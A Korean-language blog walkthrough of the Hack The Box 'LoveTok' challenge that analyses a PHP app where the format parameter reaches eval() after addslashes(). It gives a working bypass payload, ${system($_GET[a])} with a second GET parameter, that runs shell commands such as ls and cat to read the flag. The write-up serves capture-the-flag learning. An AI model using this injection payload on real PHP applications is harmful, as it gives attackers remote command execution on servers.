Home Hack The Box - LoveTok
Post
Cancel

Hack The Box - LoveTok

Hack The Box LoveTok 문제를 풀어봅시다.


Main Page

메인 페이지는 아래와 같습니다.

Main

format을 변수를 입력받아 날짜 비슷하게 출력해주는 기능이 존재합니다.

GET

Vuln Point

WEB ROOT 최상의 index.php를 보면 다음과 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$router = new Router(); 
-> Router 클래스의 인스턴스를 생성함

$router->new('GET', '/', 'TimeController@index'); 
-> Router 클래스의 생성자(Method, Route, Controller) 접근하여 인스턴스를 생성함  

$response = $router->match();
-> 생성된 인스턴스의 match()함수에 접근하고 $reponse에 결과를 저장

die($response);
결과를 출력하고 종료함

코드 분석을 통해 GET 요청에서 / 에서 TimeController Classindex()를 컨트롤러로 사용하는 것을 알 수 있습니다.
TimeController.php 코드를 보면 format을 변수로 받고, 값이 없으면 r이 할당됩니다.
TimeModel($format)이라는 $time 인스터스를 생성하고 getTime의 접근결과를 다시 Router의 view로 전달하여 결과를 리턴합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : 'r';
        -> format 변수를 입력받음, 없으면 format=r임
        $time = new TimeModel($format);
        -> TimeModel(변수값) 인스터스를 생성함
        return $router->view('index', ['time' => $time->getTime()]);
        -> time->getTime() 결과를 배열로 받고, 다시 view에 넘겨줌
    }
}

view() 함수를 보면 단순 결과값을 보여주는 코드임을 알 수 있습니다.

1
2
3
4
5
6
    public function view($view, $data = [])
    {
        extract($data);
        include __DIR__."/views/${view}.php";
        exit;
    }

중요한건 다시 TimeModel 클래스인데 TimeModel.php의 중요 코드를 아래와 같습니다.

  1. addslashes($format) -> 우리가 입력한 변수 이스케이프 처리
  2. getTime()함수에서 eval = date()함수를 실행 및 결과를 리턴함
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->format = addslashes($format);
        -> 우리가 입력한 변수 이스케이프 처리

        [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
        $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
    }

    public function getTime()
    {
        eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
        -> 코드 실행 가능함
        return isset($time) ? $time : 'Something went terribly wrong';
    }
}

php eval() eval()설명을 볼 수 있고, 임의의 PHP 코드 실행을 허용하므로 위험하다고 알 수 있습니다.


Solve

아래의 조건을 만족하여 우회를 할 수있습니다.

  1. addslashes($format) -> 우리가 입력한 변수 이스케이프 처리
  2. getTime()함수에서 eval = date()함수를 실행 및 결과를 리턴함

addslashes()함수는 ', ", \, NUL을 이스케이프(앞에 \를 추가)를 처리합니다.

1
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');

이를 우회하기 위해 ${system("{명령}")}으로 php 명령을 실행할 수 있습니다. ls

하지만 최상단에 위치한 FLAG 파일을 읽기 위해선 ', "가 필요하므로 해당방법으론 우회가 불가능합니다.

이를 추가로 우회하는 방법이 PHP에서 $_GET[a]를 받는방법입니다. 실제로 $_GET[a]를 받으면 에러가 발생하지만 low Level error php에서 낮은 레벨의 에러라 실행하는 것을 볼 수 있습니다.

${system($_GET[a])}&a=ls%20-al %2f; 으로 우회를 할 수 있습니다. flag 찾기

Flag는 cat /flagggQrU에서 확인이 가능합니다. Flag 확인


Reference

https://domdom.tistory.com/85 https://www.php.net/manual/en/language.types.string.php#language.types.string.parsing.simple